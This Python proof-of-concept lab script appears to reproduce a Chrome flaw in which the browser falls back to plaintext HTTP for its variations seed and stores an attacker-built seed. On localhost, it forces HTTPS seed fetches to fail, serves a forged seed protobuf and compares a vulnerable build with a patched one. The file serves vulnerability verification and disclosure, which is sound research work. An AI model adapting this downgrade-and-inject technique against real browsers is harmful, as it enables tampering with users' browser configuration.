#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/abraxas/cve-2026-134401-chrome-variations-http-seed (see README for attribution/license)
######################################################################################
#
#        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.
#       d88888 888  "88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b
#      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.
#     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  "Y888b.
#    d88P  888 888  "Y88b 8888888P"     d88P  888    d888b       d88P  888     "Y88b.
#   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       "888
#  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P
# d88P     888 8888888P"  888   T88b d88P     888 d88P   Y88b d88P     888  "Y8888P"
#
#                     888             d8888 888888b.    .d8888b.
#                     888            d88888 888  "88b  d88P  Y88b
#                     888           d88P888 888  .88P  Y88b.
#                     888          d88P 888 8888888K.   "Y888b.
#                     888         d88P  888 888  "Y88b     "Y88b.
#                     888        d88P   888 888    888       "888
#                     888       d8888888888 888   d88P Y88b  d88P
#                     88888888 d88P     888 8888888P"   "Y8888P"
#
#  Mail    : abraxas.null@proton.me
#
#  CVE: CVE-2026-134401 (Critical: 9.6)
#  Vendor: Chrome (Google)
#  Versions: Chrome < 158.0.8127.88
#  Impact: Browser process fetches its variations seed over plaintext HTTP after failed HTTPS and persists the attacker-supplied configuration
#  Requires: curl, unzip, Python 3.11+; first run downloads ~400MB of pinned Chrome for Testing builds
#
######################################################################################
#
#  RESEARCH / EDUCATIONAL USE ONLY.
#  Do not run, deploy, or use this material against any host unless you have
#  explicit written permission from both the party hosting this repository
#  and the owner of the target systems.
#
######################################################################################

import os as _os
import shutil as _shutil
import sys as _sys
import builtins as _builtins

_ART = {"abraxas": ["        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.", "       d88888 888  \"88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b", "      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.", "     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  \"Y888b.", "    d88P  888 888  \"Y88b 8888888P\"     d88P  888    d888b       d88P  888     \"Y88b.", "   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       \"888", "  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P", " d88P     888 8888888P\"  888   T88b d88P     888 d88P   Y88b d88P     888  \"Y8888P\""], "labs": ["                     888             d8888 888888b.    .d8888b.", "                     888            d88888 888  \"88b  d88P  Y88b", "                     888           d88P888 888  .88P  Y88b.", "                     888          d88P 888 8888888K.   \"Y888b.", "                     888         d88P  888 888  \"Y88b     \"Y88b.", "                     888        d88P   888 888    888       \"888", "                     888       d8888888888 888   d88P Y88b  d88P", "                     88888888 d88P     888 8888888P\"   \"Y8888P\""]}
_CVE = "CVE-2026-134401"
_EMAIL = "abraxas.null@proton.me"

_RST = "\033[0m"
_BLD = "\033[1m"
_CYAN = (0, 255, 249)
_MAGENTA = (255, 0, 212)
_PINK = (255, 77, 224)
_GREEN = (57, 255, 20)
_GOLD = (255, 230, 0)
_AMBER = (255, 201, 70)
_RED = (255, 64, 96)
_MUTED = (140, 155, 175)
_INK = (232, 255, 248)
_RAIN = [
    (255, 77, 224), (255, 0, 212), (191, 95, 255), (91, 140, 255),
    (0, 210, 255), (0, 255, 249), (57, 255, 20), (180, 255, 70),
    (255, 230, 0), (255, 201, 70), (255, 122, 24), (255, 64, 96),
]


def _on():
    return not _os.environ.get("NO_COLOR")


def _rgb(r, g, b):
    if not _on():
        return ""
    return f"\033[38;2;{r};{g};{b}m"


def _paint(text, rgb, bold=False):
    if not text or rgb is None:
        return text or ""
    prefix = _rgb(*rgb) + (_BLD if bold else "")
    return "".join(ch if ch == " " else prefix + ch for ch in text)


def _box(inner, border):
    edge = _rgb(*border) + "║" + _RST
    return edge + " " + inner + _RST + " " + edge


def _rule(left, right, border, width):
    return _rgb(*border) + left + "═" * (width - 2) + right + _RST


def _split(text, left_end, right_start, left_rgb, right_rgb, mid_rgb=None, left_bold=False):
    return (
        _paint(text[:left_end], left_rgb, bold=left_bold)
        + _paint(text[left_end:right_start], mid_rgb)
        + _paint(text[right_start:], right_rgb)
    )


def _fit(left, right, width, fill=" "):
    gap = max(width - len(left) - len(right), 1)
    return (left + fill * gap + right)[:width].ljust(width)


def _lerp(a, b, t):
    return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))


def _rain(x, width):
    if width <= 1:
        return _RAIN[0]
    t = (x / (width - 1)) * (len(_RAIN) - 1)
    i = min(int(t), len(_RAIN) - 2)
    return _lerp(_RAIN[i], _RAIN[i + 1], t - i)


def _logo_line(line):
    width = max(len(line), 1)
    out = []
    quoted = False
    for x, ch in enumerate(line):
        if ch == " ":
            out.append(ch)
            continue
        quoted ^= ch == '"'
        if ch == '"':
            color = _AMBER if quoted else _GOLD
        elif quoted:
            color = _GOLD
        else:
            color = _rain(x, width)
        out.append(_rgb(*color) + ch)
    return "".join(out) + _RST


def _banner_width(cols):
    art = _ART["abraxas"] + _ART["labs"]
    art_w = max(len(row) for row in art)
    content_w = min(max(art_w, 88), max(cols - 4, 40))
    box_w = content_w + 4
    if box_w > cols:
        content_w = max(cols - 4, 20)
        box_w = content_w + 4
    return content_w, box_w


def _title_row(width):
    left, right = " ABRAXAS LABS", "analyze · reverse · disclose"
    text = _fit(left, right, width)
    return _split(text, len(left), width - len(right), _CYAN, _MUTED, left_bold=True)


def _cve_row(width):
    left, right = " " + _CVE, "authorized research only"
    rest = max(width - len(left) - len(right), 3)
    text = (left + " local lab ".center(rest)[:rest] + right)[:width].ljust(width)
    return _split(text, len(left), width - len(right), _PINK, _GREEN, mid_rgb=_MAGENTA, left_bold=True)


def _mail_row(width):
    left, right = " Mail", _EMAIL
    text = _fit(left, right, width)
    return _split(text, len(left), width - len(right), _GOLD, _CYAN)


def _status_line():
    marks = {"[": _GREEN, "]": _GREEN, "*": _GREEN, "·": _PINK, "#": _PINK}
    text = "[*]  abraxas!null ready on #labs"
    return "".join(ch if ch == " " else _rgb(*marks.get(ch, _INK)) + ch for ch in text) + _RST


def print_abraxas_banner():
    cols = _shutil.get_terminal_size((120, 30)).columns
    content_w, box_w = _banner_width(cols)
    lines = [
        _rule("╔", "╗", _CYAN, box_w),
        _box(_title_row(content_w) + _RST, _CYAN),
        _rule("╠", "╣", _MAGENTA, box_w),
        _box(_cve_row(content_w) + _RST, _MAGENTA),
        _rule("╠", "╣", _MAGENTA, box_w),
    ]
    for glyph in _ART["abraxas"] + _ART["labs"]:
        vis = glyph[:content_w].ljust(content_w)
        lines.append(_box(_logo_line(vis), _MAGENTA))
    lines.extend([
        _rule("╠", "╣", _MAGENTA, box_w),
        _box(_mail_row(content_w) + _RST, _MAGENTA),
        _rule("╚", "╝", _CYAN, box_w),
        " " + _status_line(),
    ])
    _sys.stdout.write("\n".join(lines) + "\n\n")
    _sys.stdout.flush()


def _message_color(s):
    low = s.lower()
    stripped = s.lstrip()
    if low.startswith("success"):
        return _rgb(*_GREEN) + _BLD
    if low.startswith("fail"):
        return _rgb(*_RED) + _BLD
    if "user_id" in low:
        return _rgb(*_AMBER) + _BLD
    if low.startswith("status=") or "status=" in low[:20]:
        return _rgb(*_CYAN)
    if low.startswith("carrier"):
        return _rgb(*_MAGENTA)
    if stripped[:1] in "{[":
        return _rgb(*_GOLD)
    return _rgb(*_INK)


def _cprint(*args, **kwargs):
    sep = kwargs.get("sep", " ")
    s = sep.join(str(a) for a in args)
    dest = kwargs.get("file", _sys.stdout)
    if dest is not _sys.stdout and dest is not _sys.stderr:
        _PRINT(*args, **kwargs)
        return
    extra = {k: v for k, v in kwargs.items() if k != "sep"}
    _PRINT(_message_color(s) + s + _RST, **extra)

print_abraxas_banner()
_PRINT = _builtins.print
_builtins.print = _cprint

"""Differential lab for CVE-2026-134401 (VariationsService HTTP seed fallback).

Runs two pinned Chrome for Testing builds against a local seed server:

- 158.0.8127.36 (vulnerable): when the HTTPS seed fetch fails twice, the
  browser retries immediately over plaintext HTTP and processes the response
  as a variations seed in the browser process.
- 158.0.8127.88 (patched): kVariationsHttpFallback is disabled, so no
  plaintext retry happens.

The attacker position is an endpoint that can fail the HTTPS seed fetch
(localhost listener that accepts and closes) and serve an attacker-built
seed protobuf over HTTP. The seed is Chrome's own test-acceptance path
(--accept-empty-variations-seed-signature); Google's ECDSA key is not
forged. Oracle: the plaintext HTTP GET arrives at the attacker server and
the injected seed, marker included, is persisted into the profile.
"""

import base64
import gzip
import json
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from pathlib import Path

LAB = Path(__file__).resolve().parent
CACHE = LAB / "cft-cache"

VULN_VERSION = "158.0.8127.36"
FIXED_VERSION = "158.0.8127.88"
VULN_TAG = f"chrome-{VULN_VERSION}"
FIXED_TAG = f"chrome-{FIXED_VERSION}"

WITNESS_STUDY = "CVE134401WITNESS"
SEED_PATH = "/seed"
HTTP_PORT = 18710
FAIL_PORT = 18711
POLL_SECONDS = 360
FIXED_WINDOW_SECONDS = 270

RESULTS = []


def result(name, status, detail=""):
    RESULTS.append((name, status))
    print(f"RESULT {name:<22} {status:<5} {detail}".rstrip(), flush=True)


def proto_str(field: int, value: str) -> bytes:
    data = value.encode()
    return bytes([field << 3 | 2, len(data)]) + data


def proto_msg(field: int, payload: bytes) -> bytes:
    return bytes([field << 3 | 2, len(payload)]) + payload


def build_seed() -> bytes:
    """VariationsSeed{serial_number, study:[Study{name=WITNESS, default
    experiment}]}. Study.name / Experiment.name / probability_weight are
    LEGACY_REQUIRED in the edition-2023 protos, so they must be present."""
    experiment = proto_str(1, "default") + bytes([2 << 3, 0xE4, 0x07])  # weight 990
    study = (
        proto_str(1, WITNESS_STUDY)
        + proto_str(8, "default")
        + proto_msg(9, experiment)
    )
    return proto_str(1, "134401") + proto_msg(2, study)


class SeedServer:
    """Plaintext HTTP endpoint serving the attacker seed; counts requests."""

    def __init__(self, seed: bytes) -> None:
        self.seed = seed
        self.seed_gets = 0
        outer = self

        class Handler(BaseHTTPRequestHandler):
            def do_GET(self) -> None:
                if self.path.startswith(SEED_PATH):
                    outer.seed_gets += 1
                self.send_response(200)
                self.send_header("Content-Type", "application/octet-stream")
                self.send_header("Content-Length", str(len(outer.seed)))
                self.end_headers()
                self.wfile.write(outer.seed)

            def log_message(self, fmt: str, *args: object) -> None:
                pass

        self.httpd = ThreadingHTTPServer(("127.0.0.1", HTTP_PORT), Handler)
        self.thread = threading.Thread(target=self.httpd.serve_forever, daemon=True)

    def start(self) -> None:
        self.thread.start()


class FailListener:
    """TCP listener that accepts and immediately closes: the HTTPS seed fetch
    fails the same way an on-path attacker forces it to."""

    def __init__(self) -> None:
        self.conns = 0
        self.sock = None

    def start(self) -> None:
        import socket

        self.sock = socket.socket()
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", FAIL_PORT))
        self.sock.listen(8)
        self.sock.settimeout(0.5)
        threading.Thread(target=self._loop, daemon=True).start()

    def _loop(self) -> None:
        while True:
            try:
                conn, _ = self.sock.accept()
                self.conns += 1
                conn.close()
            except OSError:
                continue


def binary_path(tag: str) -> Path:
    return (CACHE / tag / "chrome-mac-arm64"
            / "Google Chrome for Testing.app/Contents/MacOS/Google Chrome for Testing")


def chrome_version(binary: Path) -> str:
    out = subprocess.run([str(binary), "--version"], capture_output=True,
                         text=True, timeout=60)
    return out.stdout.strip()


def profile_marker(profile: Path) -> str | None:
    """Find WITNESS_STUDY in the persisted seed: gunzip Local State's
    variations_compressed_seed pref and any VariationsSeed* seed file."""
    marker = WITNESS_STUDY.encode()
    local_state = profile / "Local State"
    if local_state.exists():
        try:
            prefs = json.loads(local_state.read_text(encoding="utf-8"))
            blob = prefs.get("variations_compressed_seed", "")
            if blob:
                raw = gzip.decompress(base64.b64decode(blob))
                if marker in raw:
                    return "local-state-pref"
        except (OSError, ValueError, EOFError):
            pass
    for path in profile.rglob("VariationsSeed*"):
        try:
            data = path.read_bytes()
            if marker in data:
                return f"file:{path.name}"
            if data[:2] == b"\x1f\x8b" and marker in gzip.decompress(data):
                return f"file:{path.name}"
        except (OSError, EOFError):
            continue
    return None


def launch(binary: Path, profile: Path) -> subprocess.Popen:
    argv = [
        str(binary),
        f"--user-data-dir={profile}",
        f"--variations-server-url=https://127.0.0.1:{FAIL_PORT}{SEED_PATH}",
        f"--variations-insecure-server-url=http://127.0.0.1:{HTTP_PORT}{SEED_PATH}",
        "--accept-empty-variations-seed-signature",
        "--variations-seed-fetch-interval=1",
        "--no-first-run",
        "--no-default-browser-check",
        "--disable-component-update",
        "--headless=new",
        "--disable-gpu",
        "about:blank",
    ]
    return subprocess.Popen(argv, stdout=subprocess.DEVNULL,
                            stderr=subprocess.DEVNULL)


def run_case(binary: Path, profile: Path, wait_seconds: int) -> tuple[int, str | None]:
    proc = launch(binary, profile)
    deadline = time.time() + wait_seconds
    marker = None
    while time.time() < deadline:
        time.sleep(5)
        marker = profile_marker(profile)
        if marker is not None:
            break
    if proc.poll() is None:
        proc.terminate()
        try:
            proc.wait(timeout=15)
        except subprocess.TimeoutExpired:
            proc.kill()
    return marker


def main() -> int:
    seed = build_seed()
    for tag, version in ((VULN_TAG, VULN_VERSION), (FIXED_TAG, FIXED_VERSION)):
        binary = binary_path(tag)
        if not binary.exists():
            result(f"{tag}-binary", "FAIL", f"missing {binary}; run.sh downloads it")
            return 1
        reported = chrome_version(binary)
        ok = version in reported
        result(f"chrome-{version}", "pass" if ok else "FAIL", reported or "no output")
        if not ok:
            return 1

    for sub in (".profiles/vuln", ".profiles/fixed"):
        (LAB / sub).mkdir(parents=True, exist_ok=True)

    fail = FailListener()
    fail.start()
    server = SeedServer(seed)
    server.start()

    marker = run_case(binary_path(VULN_TAG), LAB / ".profiles/vuln", POLL_SECONDS)
    got_http = server.seed_gets > 0
    result("vuln-http-fallback", "pass" if got_http else "FAIL",
           f"{server.seed_gets} plaintext GET {SEED_PATH} after failed HTTPS fetches"
           if got_http else "no plaintext seed fetch observed")
    result("vuln-https-failed", "pass" if fail.conns > 0 else "FAIL",
           f"{fail.conns} failed HTTPS seed connections")
    result("vuln-seed-accepted", "pass" if marker else "FAIL",
           f"attacker seed persisted in profile via {marker}"
           if marker else "no stored seed carries the marker")

    server.seed_gets = 0
    fixed_marker = run_case(binary_path(FIXED_TAG), LAB / ".profiles/fixed",
                            FIXED_WINDOW_SECONDS)
    result("fixed-no-http", "pass" if server.seed_gets == 0 else "FAIL",
           f"{server.seed_gets} plaintext seed requests in {FIXED_WINDOW_SECONDS}s window")
    result("fixed-no-seed", "pass" if fixed_marker is None else "FAIL",
           "no attacker seed in profile" if fixed_marker is None
           else f"marker found via {fixed_marker}")

    ok = all(status == "pass" for _, status in RESULTS)
    print("SUCCESS" if ok else "PARTIAL",
          "CVE-2026-134401 variations-http-fallback vulnerable build retried the"
          " seed fetch over plaintext HTTP and persisted the attacker-supplied"
          " seed; patched build never left HTTPS")
    return 0


if __name__ == "__main__":
    sys.exit(main())

